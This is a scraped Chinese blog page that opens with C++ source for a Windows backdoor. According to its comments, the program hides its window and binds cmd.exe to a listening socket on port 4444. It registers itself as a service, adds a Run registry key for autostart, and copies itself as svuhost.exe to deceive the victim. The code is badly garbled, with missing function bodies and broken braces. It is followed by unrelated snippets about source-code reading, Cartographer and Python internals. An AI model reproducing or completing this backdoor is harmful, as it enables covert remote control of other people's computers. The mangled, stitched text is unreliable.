#include "stdafx.h"
#include "bingtocmd.h"
#include
#include
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"maincrtstartup\"") //隱藏視窗
#define bufferlen 1024
#define port 4444
void addtoservice(); //註冊為系統服務
void autorun(); //開機自動執行
void telnetforcmd2(); //繫結cmd.exe
void delself();
#ifdef _debug
#define new debug_new
#undef this_file
static char this_file = __file__;
#endif
//using namespace std;
int _tmain(int argc, tchar* argv, tchar* envp)
return 0;
}void addtoservice()
void autorun(void)
lpb[j] = 0;
//獲取當前程式路徑
char path[max_path];
::getmodulefilename(null,path,max_path);
//把本程式拷貝到系統目錄下,並改名為svuhost.exe,這樣做的目的是為了迷惑被控制端使用者
copyfile(path, temp ,false);
hkey hkey;
//設定登錄檔中相關的路徑
lpctstr data_set="software\\microsoft\\windows\\currentversion\\run";
//開啟登錄檔中的相應項
long ret0=(::regopenkeyex(hkey_local_machine,data_set,0,key_write,&hkey));
//將相關的資訊寫入登錄檔。
long ret1=(::regsetvalueex(hkey,_t("systemctrl"),null,reg_sz,lpb,len));
//關閉登錄檔中的相應的項
::regclosekey(hkey);
}void telnetforcmd2() //telnet 繫結cmd.exe
}else
else
if(!ret) break;}}
closehandle(rp1);
closehandle(wp1);
closesocket(client);
}// delself();
}closesocket(server);
}void delself()
//********************the end********************==//
《原始碼閱讀》原始碼閱讀技巧,原始碼閱讀工具
檢視某個類的完整繼承關係 選中類的名稱,然後按f4 quick type hierarchy quick type hierarchy可以顯示出類的繼承結構,包括它的父類和子類 supertype hierarchy supertype hierarchy可以顯示出類的繼承和實現結構,包括它的父類和...
Cartographer原始碼篇 原始碼分析 1
在安裝編譯cartographer 1.0.0的時候,我們可以看到 主要包括cartorgarpher ros cartographer ceres sover三個部分。其中,ceres solver用於非線性優化,求解最小二乘問題 cartographer ros為ros平台的封裝,獲取感測器資料...
python原始碼剖析 Python原始碼剖析
第頁共 頁python 原始碼剖析 物件機制 1.物件 在python 的世界中,一切都是物件,乙個整數是乙個物件,乙個字串也是 乙個物件,更為奇妙的是,型別也是乙個物件,整數型別是乙個物件,字串類 型也是乙個物件。從 年guido 在那個聖誕節揭開 python 世界的大幕開始,一直到現在,pyt...